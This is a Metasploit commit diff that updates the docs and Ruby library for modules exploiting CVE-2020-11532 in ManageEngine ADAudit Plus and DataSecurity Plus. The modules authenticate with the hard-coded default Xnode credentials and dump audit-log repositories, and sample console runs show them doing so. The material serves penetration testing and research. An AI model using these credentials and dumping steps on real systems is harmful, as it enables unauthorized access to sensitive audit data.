mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-10-09 04:26:11 +02:00
ManageEngine Xnode library changes and some docs/module adjustments after code review
This commit is contained in:
parent
55079515ca
commit
c6c745c633
@ -11,11 +11,12 @@ This is mostly done as a sanity check to ensure the Xnode server is working as e
|
||||
Next, the module will iterate over a list of known Xnode data repositories and perform several requests for each in order to:
|
||||
- Check if the data repository is configured on the target
|
||||
- Obtain the total number of records in the data repository
|
||||
- Obtain both the lowest and the highest value for the ID field (column)
|
||||
- Obtain both the lowest and the highest value for the ID field (column). These values will be used
|
||||
to determine the range of possible records to be queried.
|
||||
|
||||
If a given data repository exists, the module uses the above information to dump the data repository contents.
|
||||
The maximum number of records returned for a search query is 10. To overcome this, the module performs series of requests
|
||||
using the `dr:/dr_search` action,while specifying the ID values for each record.
|
||||
using the `dr:/dr_search` action, while specifying the ID values for each record.
|
||||
For example, if the lowest observed ID value is 15 and the highest is 41, the module will perform three requests:
|
||||
1. A request for the records with ID values 15 to 24
|
||||
2. A request for the records with ID values 25 to 34
|
||||
@ -25,10 +26,11 @@ Empty records are ignored.
|
||||
To view the raw Xnode requests and responses, enter `set VERBOSE true` before running the module.
|
||||
|
||||
By default, the module dumps only the data repositories (tables) and fields (columns) specified in the configuration file.
|
||||
The configuration file can be set via the CONFIG_FILE option, but this is not required because a default config file exists.
|
||||
The configuration file can be set via the CONFIG_FILE option, but this is not required because
|
||||
a default config file exists at `data/exploits/manageengine_xnode/CVE-2020-11532/adaudit_plus_xnode_conf.yaml`.
|
||||
The configuration file is then also used to add labels to the values sent by Xnode in response to a query.
|
||||
This means that for every value in the Xnode response, the module will add the corresponding field name to the results
|
||||
before writing those to a JSON file.
|
||||
before writing those to a JSON file in ~/.msf4/loot.
|
||||
|
||||
It is also possible to use the DUMP_ALL option to obtain all data in all known data repositories without specifying data field names.
|
||||
However, in the latter case the data won't be labeled.
|
||||
@ -37,9 +39,17 @@ This module has been successfully tested against ManageEngine ADAudit Plus 6.0.3
|
||||
and ADAudit Plus 6.0.7 (6076) running on Windows Server 2019.
|
||||
|
||||
## Installation Information
|
||||
A free 30-day trial of ADAudit Plus can be downloaded [here](https://www.manageengine.com/products/active-directory-audit/download.html).
|
||||
Vulnerable versions of ADAudit Plus are available [here](https://archives2.manageengine.com/active-directory-audit/).
|
||||
All versions from 6000 through 6031 are configured with default Xnode credentials.
|
||||
However, testing against vulnerable versions from the archives will make data enumeration impossible because
|
||||
the free trials for those versions do not seem to allow ADAudit Plus to
|
||||
actually start collecting data that can then be accessed via Xnode.
|
||||
However, apart from some configuration changes, Xnode functions the same way on patched versions as it does on vulnerable versions,
|
||||
so it is possible to test the modules against patched versions as long as the correct credentials are provided.
|
||||
A free 30-day trial of the latest version of ADAudit Plus can be downloaded
|
||||
[here](https://www.manageengine.com/products/active-directory-audit/download.html).
|
||||
To install, just run the .exe and follow the instructions.
|
||||
In order to configure the ManageEngine ADAudit Plus instance for testing, follow these steps:
|
||||
In order to configure a patched ManageEngine ADAudit Plus instance for testing, follow these steps:
|
||||
- Open the Xnode config file at `<install_dir>\apps\dataengine-xnode\conf\dataengine-xnode.conf`
|
||||
- Note down the username and password
|
||||
- Insert the following line:
|
||||
@ -61,7 +71,39 @@ YAML File specifying the data repositories (tables) and fields (columns) to dump
|
||||
Dump all data from the available data repositories (tables). If true, CONFIG_FILE will be ignored.
|
||||
|
||||
## Scenarios
|
||||
### ADAudit Plus 6.0.7 (6076) running on Windows Server 2019 (custom password)
|
||||
### ManageEngine ADAudit Plus 6.0.3 (6031) running on Windows Server 2012 R2
|
||||
```
|
||||
msf6 auxiliary(gather/manageengine_adaudit_plus_xnode_enum) > options
|
||||
|
||||
Module options (auxiliary/gather/manageengine_adaudit_plus_xnode_enum):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
CONFIG_FILE /home/wynter/dev/metasploit-framework/data/exploits/manageeng no YAML file specifying the data repositories (tables) and fields (columns) to dump
|
||||
ine_xnode/CVE-2020-11532/adaudit_plus_xnode_conf.yaml
|
||||
DUMP_ALL false no Dump all data from the available data repositories (tables). If true, CONFIG_FILE will be ignored.
|
||||
PASSWORD chegan yes Password used to authenticate to the Xnode server
|
||||
RHOSTS 192.168.1.41 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
|
||||
RPORT 29118 yes The target port (TCP)
|
||||
USERNAME atom yes Username used to authenticate to the Xnode server
|
||||
|
||||
msf6 auxiliary(gather/manageengine_adaudit_plus_xnode_enum) > run
|
||||
[*] Running module against 192.168.1.41
|
||||
|
||||
[*] 192.168.1.41:29118 - Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] 192.168.1.41:29118 - Target seems to be Xnode.
|
||||
[+] 192.168.1.41:29118 - The target appears to be vulnerable. Successfully authenticated to the Xnode server.
|
||||
[*] 192.168.1.41:29118 - Obtained expected Xnode "de_healh" status: "GREEN".
|
||||
[*] 192.168.1.41:29118 - Target is running Xnode version: "XNODE_1_0_0".
|
||||
[*] 192.168.1.41:29118 - Obtained Xnode installation path: "C:\Program Files (x86)\ManageEngine\ADAudit Plus\apps\dataengine-xnode".
|
||||
[*] 192.168.1.41:29118 - Data repository AdapFileAuditLog is empty.
|
||||
[*] 192.168.1.41:29118 - The data repository AdapPowershellAuditLog is not available on the target.
|
||||
[*] 192.168.1.41:29118 - The data repository AdapSysMonAuditLog is not available on the target.
|
||||
[*] 192.168.1.41:29118 - The data repository AdapDNSAuditLog is not available on the target.
|
||||
[*] 192.168.1.41:29118 - The data repository AdapADReplicationAuditLog is not available on the target.
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
### ManageEngine ADAudit Plus 6.0.7 (6076) running on Windows Server 2019 (custom password)
|
||||
```
|
||||
msf6 > use auxiliary/gather/manageengine_adaudit_plus_xnode_enum
|
||||
msf6 auxiliary(gather/manageengine_adaudit_plus_xnode_enum) > set rhosts 192.168.1.25
|
||||
|
@ -11,11 +11,12 @@ This is mostly done as a sanity check to ensure the Xnode server is working as e
|
||||
Next, the module will iterate over a list of known Xnode data repositories and perform several requests for each in order to:
|
||||
- Check if the data repository is configured on the target
|
||||
- Obtain the total number of records in the data repository
|
||||
- Obtain both the lowest and the highest value for the ID field (column)
|
||||
- Obtain both the lowest and the highest value for the ID field (column). These values will be used
|
||||
to determine the range of possible records to be queried.
|
||||
|
||||
If a given data repository exists, the module uses the above information to dump the data repository contents.
|
||||
The maximum number of records returned for a search query is 10. To overcome this, the module performs series of requests
|
||||
using the `dr:/dr_search` action,while specifying the ID values for each record.
|
||||
using the `dr:/dr_search` action, while specifying the ID values for each record.
|
||||
For example, if the lowest observed ID value is 15 and the highest is 41, the module will perform three requests:
|
||||
1. A request for the records with ID values 15 to 24
|
||||
2. A request for the records with ID values 25 to 34
|
||||
@ -25,21 +26,28 @@ Empty records are ignored.
|
||||
To view the raw Xnode requests and responses, enter `set VERBOSE true` before running the module.
|
||||
|
||||
By default, the module dumps only the data repositories (tables) and fields (columns) specified in the configuration file.
|
||||
The configuration file can be set via the CONFIG_FILE option, but this is not required because a default config file exists.
|
||||
The configuration file can be set via the CONFIG_FILE option, but this is not required because
|
||||
a default config file exists at `data/exploits/manageengine_xnode/CVE-2020-11532/datasecurity_plus_xnode_conf.yaml`.
|
||||
The configuration file is then also used to add labels to the values sent by Xnode in response to a query.
|
||||
This means that for every value in the Xnode response, the module will add the corresponding field name to the results
|
||||
before writing those to a JSON file.
|
||||
before writing those to a JSON file in ~/.msf4/loot.
|
||||
|
||||
It is also possible to use the DUMP_ALL option to obtain all data in all known data repositories without specifying data field names.
|
||||
However, in the latter case the data won't be labeled.
|
||||
|
||||
This module has been successfully tested against DataSecurity Plus 6.0.1 (6010) running on Windows Server 2012 R2
|
||||
and DataSecurity Plus 6.0.5 (6052) running on Windows Server 2019.
|
||||
This module has been successfully tested against DataSecurity Plus 6.0.1 (6010) running on Windows Server 2012 R2.
|
||||
|
||||
## Installation Information
|
||||
Vulnerable versions of DataSecurity Plus are available [here](https://archives.manageengine.com/data-security/).
|
||||
All versions from 6000 through 6011 are configured with default Xnode credentials.
|
||||
However, testing against vulnerable versions from the archives will make data enumeration impossible because
|
||||
the free trials for those versions do not seem to allow DataSecurity Plus to
|
||||
actually start collecting data that can then be accessed via Xnode.
|
||||
However, apart from some configuration changes, Xnode functions the same way on patched versions as it does on vulnerable versions,
|
||||
so it is possible to test the modules against patched versions as long as the correct credentials are provided.
|
||||
A free 30-day trial of DataSecurity Plus can be downloaded [here](https://www.manageengine.com/data-security/download.html).
|
||||
To install, just run the .exe and follow the instructions.
|
||||
In order to configure the ManageEngine DataSecurity Plus instance for testing, follow these steps:
|
||||
In order to configure a patched ManageEngine DataSecurity Plus instance for testing, follow these steps:
|
||||
- Open the Xnode config file at `<install_dir>\apps\dataengine-xnode\conf\dataengine-xnode.conf`
|
||||
- Note down the username and password
|
||||
- Insert the following line:
|
||||
@ -61,46 +69,41 @@ YAML File specifying the data repositories (tables) and fields (columns) to dump
|
||||
Dump all data from the available data repositories (tables). If true, CONFIG_FILE will be ignored.
|
||||
|
||||
## Scenarios
|
||||
### DataSecurity Plus 6.0.5 (6052) running on Windows Server 2019 (custom password)
|
||||
### ManageEngine DataSecurity Plus 6.0.1 (6010) on Windows Server 2012
|
||||
```
|
||||
msf6 > use auxiliary/gather/manageengine_datasecurity_plus_xnode_enum
|
||||
msf6 auxiliary(gather/manageengine_datasecurity_plus_xnode_enum) > set rhosts 192.168.1.25
|
||||
rhosts => 192.168.1.25
|
||||
msf6 auxiliary(gather/manageengine_datasecurity_plus_xnode_enum) > set password custom_password
|
||||
password => custom_password
|
||||
msf6 auxiliary(gather/manageengine_datasecurity_plus_xnode_enum) > options
|
||||
|
||||
Module options (auxiliary/gather/manageengine_datasecurity_plus_xnode_enum):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
CONFIG_FILE /root/github/manageengine/metasploit-framework/data/exploits/manageengine_xnode/CVE-2020-11532/datasecurity_pl no File specifying the data repositories (tables) and fields (columns) to dump
|
||||
us_xnode_conf.yaml
|
||||
DUMP_ALL false no Dump all data from the available data repositories (tables). If true, CONFIG_FILE will be ignored.
|
||||
PASSWORD custom_password yes Password used to authenticate to the Xnode server
|
||||
RHOSTS 192.168.1.25 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
|
||||
RPORT 29119 yes The target port (TCP)
|
||||
USERNAME atom
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
CONFIG_FILE /home/wynter/dev/metasploit-framework/data/exploits/manageeng no YAML file specifying the data repositories (tables) and fields (columns) to dump
|
||||
ine_xnode/CVE-2020-11532/datasecurity_plus_xnode_conf.yaml
|
||||
DUMP_ALL false no Dump all data from the available data repositories (tables). If true, CONFIG_FILE will be ignored.
|
||||
PASSWORD chegan yes Password used to authenticate to the Xnode server
|
||||
RHOSTS 192.168.1.41 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
|
||||
RPORT 29119 yes The target port (TCP)
|
||||
USERNAME atom yes Username used to authenticate to the Xnode server
|
||||
|
||||
msf6 auxiliary(gather/manageengine_datasecurity_plus_xnode_enum) > run
|
||||
[*] Running module against 192.168.1.25
|
||||
[*] Running module against 192.168.1.41
|
||||
|
||||
[*] 192.168.1.25:29119 - Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] 192.168.1.25:29119 - The target appears to be vulnerable. Successfully authenticated to the Xnode server.
|
||||
[*] 192.168.1.25:29119 - Obtained expected Xnode "de_healh" status: "GREEN".
|
||||
[*] 192.168.1.25:29119 - Target is running Xnode version: "DataEngine-XNode 1.0.1 (1016)".
|
||||
[*] 192.168.1.25:29119 - Obtained Xnode installation path: "C:\Program Files (x86)\ManageEngine\DataSecurity Plus\apps\dataengine-xnode".
|
||||
[*] 192.168.1.25:29119 - Data repository DSPEmailAuditAttachments is empty.
|
||||
[*] 192.168.1.25:29119 - Data repository DSPEmailAuditReport is empty.
|
||||
[*] 192.168.1.25:29119 - Data repository DSPEndpointAuditReport is empty.
|
||||
[*] 192.168.1.25:29119 - Data repository DSPEndpointClassificationReport is empty.
|
||||
[*] 192.168.1.25:29119 - Data repository DSPEndpointIncidentReport is empty.
|
||||
[*] 192.168.1.25:29119 - Data repository DspEndpointPrinterAuditReport is empty.
|
||||
[*] 192.168.1.25:29119 - Data repository DspEndpointWebAuditReport is empty.
|
||||
[*] 192.168.1.25:29119 - Data repository DSPFileAnalysisAlerts is empty.
|
||||
[*] 192.168.1.25:29119 - Data repository RAAlertHistory is empty.
|
||||
[*] 192.168.1.25:29119 - Data repository RAIncidents is empty.
|
||||
[*] 192.168.1.25:29119 - Data repository RAViolationRecords is empty.
|
||||
[*] 192.168.1.41:29119 - Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] 192.168.1.41:29119 - Target seems to be Xnode.
|
||||
[+] 192.168.1.41:29119 - The target appears to be vulnerable. Successfully authenticated to the Xnode server.
|
||||
[*] 192.168.1.41:29119 - Obtained expected Xnode "de_healh" status: "GREEN".
|
||||
[*] 192.168.1.41:29119 - Target is running Xnode version: "XNODE_1_0_0".
|
||||
[*] 192.168.1.41:29119 - Obtained Xnode installation path: "C:\Program Files (x86)\ManageEngine\DataSecurity Plus\apps\dataengine-xnode".
|
||||
[*] 192.168.1.41:29119 - Data repository DSPEmailAuditAttachments is empty.
|
||||
[*] 192.168.1.41:29119 - Data repository DSPEmailAuditReport is empty.
|
||||
[*] 192.168.1.41:29119 - Data repository DSPEndpointAuditReport is empty.
|
||||
[*] 192.168.1.41:29119 - Data repository DSPEndpointClassificationReport is empty.
|
||||
[*] 192.168.1.41:29119 - Data repository DSPEndpointIncidentReport is empty.
|
||||
[*] 192.168.1.41:29119 - Data repository DspEndpointPrinterAuditReport is empty.
|
||||
[*] 192.168.1.41:29119 - Data repository DspEndpointWebAuditReport is empty.
|
||||
[*] 192.168.1.41:29119 - Data repository DSPFileAnalysisAlerts is empty.
|
||||
[*] 192.168.1.41:29119 - Data repository RAAlertHistory is empty.
|
||||
[*] 192.168.1.41:29119 - Data repository RAIncidents is empty.
|
||||
[*] 192.168.1.41:29119 - Data repository RAViolationRecords is empty.
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(gather/manageengine_datasecurity_plus_xnode_enum)
|
||||
```
|
||||
|
@ -3,16 +3,17 @@
|
||||
module Msf
|
||||
###
|
||||
#
|
||||
# This module provides a way of interacting with ManageEngine Xnode server as used in ADAudit Plus and DataSecurity Plus
|
||||
# This module provides a way of interacting with ManageEngine Xnode server
|
||||
# as used in ADAudit Plus and DataSecurity Plus
|
||||
#
|
||||
###
|
||||
module Auxiliary::ManageengineXnode
|
||||
module Auxiliary::ManageEngineXnode
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::ManageengineXnode::Action
|
||||
include Msf::Auxiliary::ManageengineXnode::BasicChecks
|
||||
include Msf::Auxiliary::ManageengineXnode::Config
|
||||
include Msf::Auxiliary::ManageengineXnode::Interact
|
||||
include Msf::Auxiliary::ManageengineXnode::Process
|
||||
include Msf::Auxiliary::ManageEngineXnode::Action
|
||||
include Msf::Auxiliary::ManageEngineXnode::BasicChecks
|
||||
include Msf::Auxiliary::ManageEngineXnode::Config
|
||||
include Msf::Auxiliary::ManageEngineXnode::Interact
|
||||
include Msf::Auxiliary::ManageEngineXnode::Process
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
@ -21,7 +22,7 @@ module Msf
|
||||
[
|
||||
Msf::OptString.new('USERNAME', [true, 'Username used to authenticate to the Xnode server', 'atom']),
|
||||
Msf::OptString.new('PASSWORD', [true, 'Password used to authenticate to the Xnode server', 'chegan']),
|
||||
], Msf::Auxiliary::ManageengineXnode
|
||||
], Msf::Auxiliary::ManageEngineXnode
|
||||
)
|
||||
end
|
||||
end
|
@ -1,6 +1,6 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::Auxiliary::ManageengineXnode::Action
|
||||
module Msf::Auxiliary::ManageEngineXnode::Action
|
||||
# Returns an Xnode authentication request hash
|
||||
#
|
||||
# @param user [String] Username
|
@ -1,7 +1,7 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::Auxiliary::ManageengineXnode::BasicChecks
|
||||
# Performs a sanity check and an authentication attempt against Xnode to verify if the target can be exploited
|
||||
module Msf::Auxiliary::ManageEngineXnode::BasicChecks
|
||||
# Performs a sanity check and an authentication attempt against Xnode to verify if the target is Xnode and if we can authenticate
|
||||
#
|
||||
# @param sock [Socket] Socket to use for the request
|
||||
# @param user [String] Username
|
@ -1,6 +1,11 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::Auxiliary::ManageengineXnode::Config
|
||||
module Msf::Auxiliary::ManageEngineXnode::Config
|
||||
CONFIG_FILE_DOES_NOT_EXIST = 1
|
||||
CANNOT_READ_CONFIG_FILE = 2
|
||||
DATA_TO_DUMP_EMPTY = 3
|
||||
DATA_TO_DUMP_WRONG_FORMAT = 4
|
||||
|
||||
# Reads the configuration file for the current ManageEngine Xnode module in order to obtain the data repositories (tables) and fields (columns) to dump.
|
||||
#
|
||||
# @param config_file [String] String containing the full path to the configuration file to read.
|
||||
@ -10,7 +15,8 @@ module Msf::Auxiliary::ManageengineXnode::Config
|
||||
return 1 unless File.exists? config_file
|
||||
|
||||
begin
|
||||
data_to_dump = YAML.load_file((config_file))
|
||||
config_contents = File.read(config_file)
|
||||
data_to_dump = YAML.safe_load((config_contents))
|
||||
rescue StandardError => e
|
||||
print_error("Encountered the following error while trying to load #{config_file}:\n#{e.to_s}")
|
||||
return 2
|
||||
@ -23,7 +29,7 @@ module Msf::Auxiliary::ManageengineXnode::Config
|
||||
data_to_dump
|
||||
end
|
||||
|
||||
# returns an array of data respositories that may exist in ManageEngine Audit Plus
|
||||
# Returns an array of data respositories that may exist in ManageEngine Audit Plus
|
||||
#
|
||||
# @return [Array] list of possible data respositories in ManageEngine Audit Plus
|
||||
def ad_audit_plus_data_repos
|
||||
@ -37,7 +43,7 @@ module Msf::Auxiliary::ManageengineXnode::Config
|
||||
end
|
||||
|
||||
|
||||
# returns an array of data respositories that may exist in ManageEngine DataSecurity Plus
|
||||
# Returns an array of data respositories that may exist in ManageEngine DataSecurity Plus
|
||||
#
|
||||
# @return [Array] list of possible data respositories in ManageEngine DataSecurity Plus
|
||||
def datasecurity_plus_data_repos
|
||||
@ -55,4 +61,12 @@ module Msf::Auxiliary::ManageengineXnode::Config
|
||||
'RAViolationRecords',
|
||||
]
|
||||
end
|
||||
|
||||
# Returns the full module so that config_status::<status> can be used in the modules importing this library
|
||||
# as shorthand to access the error codes defined at the start of the module
|
||||
#
|
||||
# @return [Module] Msf::Auxiliary::ManageEngineXnode::Config
|
||||
def config_status
|
||||
Msf::Auxiliary::ManageEngineXnode::Config
|
||||
end
|
||||
end
|
@ -1,6 +1,6 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::Auxiliary::ManageengineXnode::Interact
|
||||
module Msf::Auxiliary::ManageEngineXnode::Interact
|
||||
# Create a socket to connect to an Xnode server and rescue any resulting errors
|
||||
#
|
||||
# @param rhost [String] Target IP
|
||||
@ -26,8 +26,12 @@ module Msf::Auxiliary::ManageengineXnode::Interact
|
||||
#
|
||||
# @param sock [Socket] Socket to use for the request
|
||||
# @param action_hash [Hash] Hash containing an Xnode-compatible request
|
||||
# @return [Hash, Integer] Hash containing a JSON-parsed Xnode server response if interaction with the server succeeded, error code otherwise
|
||||
# @return [Hash, nil] Hash containing a JSON-parsed Xnode server response if interaction with the server succeeded, nil otherwise
|
||||
def send_to_sock(sock, action_hash)
|
||||
unless action_hash.instance_of?(Hash)
|
||||
print_error('The provided Xnode action is not a valid Hash. The request will not be performed.')
|
||||
return nil
|
||||
end
|
||||
begin
|
||||
vprint_status("Sending request: #{action_hash}")
|
||||
|
||||
@ -37,7 +41,7 @@ module Msf::Auxiliary::ManageengineXnode::Interact
|
||||
r = sock.get
|
||||
rescue StandardError => e
|
||||
print_error("Encountered the following error while trying to interact with the Xnode server:\n#{e.to_s}")
|
||||
return 1
|
||||
return nil
|
||||
end
|
||||
|
||||
vprint_status("Received response: #{r}")
|
||||
@ -46,8 +50,9 @@ module Msf::Auxiliary::ManageengineXnode::Interact
|
||||
begin
|
||||
return JSON.parse(r)
|
||||
rescue JSON::ParserError => e
|
||||
print_error("Encountered the following error while trying to JSON parse the response from the Xnode server:\n#{e.to_s}")
|
||||
return 1
|
||||
print_error("Encountered the following error while trying to JSON parse the response from the Xnode server:")
|
||||
print_error(e.to_s)
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
@ -55,21 +60,25 @@ module Msf::Auxiliary::ManageengineXnode::Interact
|
||||
#
|
||||
# @param sock [Socket] Socket to use for the request
|
||||
# @param action_hash [Hash] Hash containing an Xnode-compatible request
|
||||
# @param warning_messages [Array] Array of Strings print via print_warning if the server response doesn't match the expected format
|
||||
# @param warning_message [String] String to print via print_warning if the server response doesn't match the expected format
|
||||
# @param expected_response_key [String] String that should be present as a key in the 'response' hash that is expected to be part of the JSON response
|
||||
# @return [Array, Integer] Array containing a response code and a JSON-parsed Xnode server response hash if interaction with the server succeeded, error code otherwise
|
||||
def get_response(sock, action_hash, warning_messages=[], expected_response_key=nil)
|
||||
# @return [Array] Array containing a response code and a JSON-parsed Xnode server response hash if interaction with the server succeeded, Array containing a response code and nil otherwise
|
||||
def get_response(sock, action_hash, warning_message=nil, expected_response_key=nil)
|
||||
res = send_to_sock(sock, action_hash)
|
||||
return 1 if res == 1
|
||||
return [1, nil] if res.nil?
|
||||
|
||||
unless res.instance_of?(Hash) && res.keys.include?('response') && res['response'].instance_of?(Hash)
|
||||
if expected_response_key
|
||||
unless res['response'].keys.include?(expected_response_key)
|
||||
warning_messages.each { |msg| print_warning(msg) }
|
||||
return [1, res]
|
||||
if warning_message
|
||||
print_warning(warning_message)
|
||||
end
|
||||
return [1, res]
|
||||
end
|
||||
|
||||
if expected_response_key
|
||||
unless res['response'].keys.include?(expected_response_key)
|
||||
if warning_message
|
||||
print_warning(warning_message)
|
||||
end
|
||||
else
|
||||
warning_messages.each { |msg| print_warning(msg) }
|
||||
return [1, res]
|
||||
end
|
||||
end
|
@ -1,21 +1,20 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::Auxiliary::ManageengineXnode::Process
|
||||
include Msf::Auxiliary::ManageengineXnode::Action
|
||||
include Msf::Auxiliary::ManageengineXnode::Interact
|
||||
module Msf::Auxiliary::ManageEngineXnode::Process
|
||||
include Msf::Auxiliary::ManageEngineXnode::Action
|
||||
include Msf::Auxiliary::ManageEngineXnode::Interact
|
||||
# Processes the obtained server response from a ManageEngine Xnode data repository search request
|
||||
#
|
||||
# @param res [Hash] JSON-parsed response from the Xnode server. This should be a Hash.
|
||||
# @param res_code [Integer] Response code received during the previos get_response call
|
||||
# @param res_code [Integer] Response code received during the previous get_response call
|
||||
# @param repo_name [String] Name of the data repository that was queried
|
||||
# @param fields [Array] names of the data repository fields (columns) that were dumped
|
||||
# @param mode [String] the type of query that was performed: standard, total_hits, aggr_min or aggr_max
|
||||
# @return [Array, Integer] Array containing the parsed query results if parsing succeeds, error code otherwise
|
||||
# @return [Array, nil] Array containing the parsed query results if parsing succeeds, nil otherwise
|
||||
def process_dr_search(res, res_code, repo_name, fields=nil, mode='standard')
|
||||
if res_code == 1
|
||||
print_error("Received unexpected reply when trying to dump table #{repo_name}: #{res}")
|
||||
print_warning("The target may not be exploitable.")
|
||||
return 1
|
||||
if res_code == 1 || res.nil? || !(res.instance_of?(Hash) && res.keys.include?('response') && res['response'].instance_of?(Hash))
|
||||
vprint_error("Received unexpected reply when trying to dump table #{repo_name}: #{res}")
|
||||
return nil
|
||||
end
|
||||
|
||||
response = res['response']
|
||||
@ -23,17 +22,17 @@ module Msf::Auxiliary::ManageengineXnode::Process
|
||||
unless response.include?('search_result') && response.include?('total_hits')
|
||||
if response.include?('error_msg')
|
||||
error_msg = response['error_msg']
|
||||
if /DataRepository for '[a-zA-Z]+' not found!/ =~ error_msg
|
||||
if /DataRepository for '#{repo_name}' not found!/ =~ error_msg
|
||||
print_status("The data repository #{repo_name} is not available on the target.")
|
||||
return 1
|
||||
return nil
|
||||
end
|
||||
|
||||
print_error("Received error message: #{error_msg}")
|
||||
return 1
|
||||
return nil
|
||||
end
|
||||
|
||||
print_error("Received unexpected query response: #{response}")
|
||||
return 1
|
||||
return nil
|
||||
end
|
||||
|
||||
case mode
|
||||
@ -43,12 +42,12 @@ module Msf::Auxiliary::ManageengineXnode::Process
|
||||
unless total_hits && total_hits.is_a?(Integer)
|
||||
print_error("Received unexpected reply when trying to obtain the number of total hits for table #{repo_name}.")
|
||||
print_warning("The target may not be exploitable.")
|
||||
return 1
|
||||
return nil
|
||||
end
|
||||
|
||||
if total_hits == 0
|
||||
print_status("Data repository #{repo_name} is empty.")
|
||||
return 1
|
||||
return nil
|
||||
end
|
||||
|
||||
return total_hits.to_s # return this as a string to the calling method can distinguish it from an error code
|
||||
@ -56,35 +55,35 @@ module Msf::Auxiliary::ManageengineXnode::Process
|
||||
aggr_type = mode.split("_")[1]
|
||||
unless response.include?('aggr_result') && response['aggr_result'].is_a?(Hash) && response['aggr_result'].include?(aggr_type)
|
||||
print_error("Received unexpected reply when trying to obtain #{aggr_type} aggregrate value for the UNIQUE_ID field.")
|
||||
return 1
|
||||
return nil
|
||||
end
|
||||
|
||||
return response['aggr_result'][aggr_type]
|
||||
when 'standard'
|
||||
search_result = response['search_result']
|
||||
if search_result.empty?
|
||||
vprint_status("The query returned no records.")
|
||||
return 1
|
||||
end
|
||||
|
||||
unless search_result.is_a? Array
|
||||
print_error("Received unexpected query response: #{response}")
|
||||
return 1
|
||||
return nil
|
||||
end
|
||||
|
||||
return search_result if fields.nil?
|
||||
if search_result.empty?
|
||||
vprint_status("The query returned no records.")
|
||||
return nil
|
||||
end
|
||||
|
||||
return search_result unless fields.is_a? Array
|
||||
|
||||
process_results(search_result, repo_name, fields)
|
||||
process_results(search_result, fields)
|
||||
end
|
||||
end
|
||||
|
||||
# Processes the search_result received from the Xnode server. If the fields parameter is provided, received values are mapped to known field (column) names.
|
||||
#
|
||||
# @param search_result [Array] nested Array containing the data repository rows and their values
|
||||
# @param repo_name [String] Name of the data respository that was queried
|
||||
# @param fields [Array] data repository fields (columns) that were dumped, used for mapping the search_result values to field names
|
||||
# @return [Array] Array containing the query results if the provided paramters are correct, empty Array otherwise
|
||||
def process_results(search_result, repo_name, fields)
|
||||
# @return [Array, nil] Array containing the query results if the provided paramters are correct, nil otherwise
|
||||
def process_results(search_result, fields)
|
||||
return nil unless fields.is_a? Array
|
||||
results = []
|
||||
non_empty_val_ct = 0 # used to check the search results contains at least one non_empty value
|
||||
# map the search returned values to the specified fields
|
||||
@ -99,7 +98,7 @@ module Msf::Auxiliary::ManageengineXnode::Process
|
||||
end
|
||||
|
||||
if non_empty_val_ct == 0
|
||||
results = []
|
||||
return nil
|
||||
end
|
||||
|
||||
results
|
@ -4,7 +4,7 @@
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Auxiliary::ManageengineXnode
|
||||
include Msf::Auxiliary::ManageEngineXnode
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
@ -93,13 +93,13 @@ class MetasploitModule < Msf::Auxiliary
|
||||
# create a socket
|
||||
res_code, sock_or_msg = create_socket_for_xnode(rhost, rport)
|
||||
if res_code == 1
|
||||
fail_with(Failure::Unreachable, 'Failed to establish a connection with the remote server')
|
||||
fail_with(Failure::Unreachable, sock_or_msg)
|
||||
end
|
||||
@sock = sock_or_msg
|
||||
end
|
||||
|
||||
# get the Xnode health status
|
||||
health_warning_message = ['Received unexpected response while trying to obtain the Xnode "de_health" status. Enumeration may not work.']
|
||||
health_warning_message = 'Received unexpected response while trying to obtain the Xnode "de_health" status. Enumeration may not work.'
|
||||
res_code, res_health = get_response(@sock, action_admin_health, health_warning_message, 'de_health')
|
||||
|
||||
if res_code == 0
|
||||
@ -111,7 +111,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
|
||||
# get the Xnode info
|
||||
info_warning_message = ['Received unexpected response while trying to obtain the Xnode version and installation path via the "xnode_info" action. Enumeration may not work.']
|
||||
info_warning_message = 'Received unexpected response while trying to obtain the Xnode version and installation path via the "xnode_info" action. Enumeration may not work.'
|
||||
res_code, res_info = get_response(@sock, action_xnode_info, info_warning_message)
|
||||
|
||||
if res_code == 0
|
||||
@ -134,22 +134,22 @@ class MetasploitModule < Msf::Auxiliary
|
||||
# send a general query, which should return the "total_hits" parameter that represents the total record count
|
||||
res_code, res = get_response(@sock, action_dr_search(repo))
|
||||
total_hits = process_dr_search(res, res_code, repo, ['UNIQUE_ID'], 'total_hits')
|
||||
# check if total_hits is an Integer, as that means process_dr_search returned an error code and we should skip to the next repo
|
||||
next if total_hits.is_a?(Integer)
|
||||
# check if total_hits is nil, as that means process_dr_search failed and we should skip to the next repo
|
||||
next if total_hits.nil?
|
||||
|
||||
# use "aggr" with the "min" specification for the UNIQUE_ID field in order to obtain the minimum value for this field, i.e. the oldest available record
|
||||
aggr_min_query = { 'aggr' => { 'min' => { 'field' => 'UNIQUE_ID' } } }
|
||||
res_code, res = get_response(@sock, action_dr_search(repo, ['UNIQUE_ID'], aggr_min_query))
|
||||
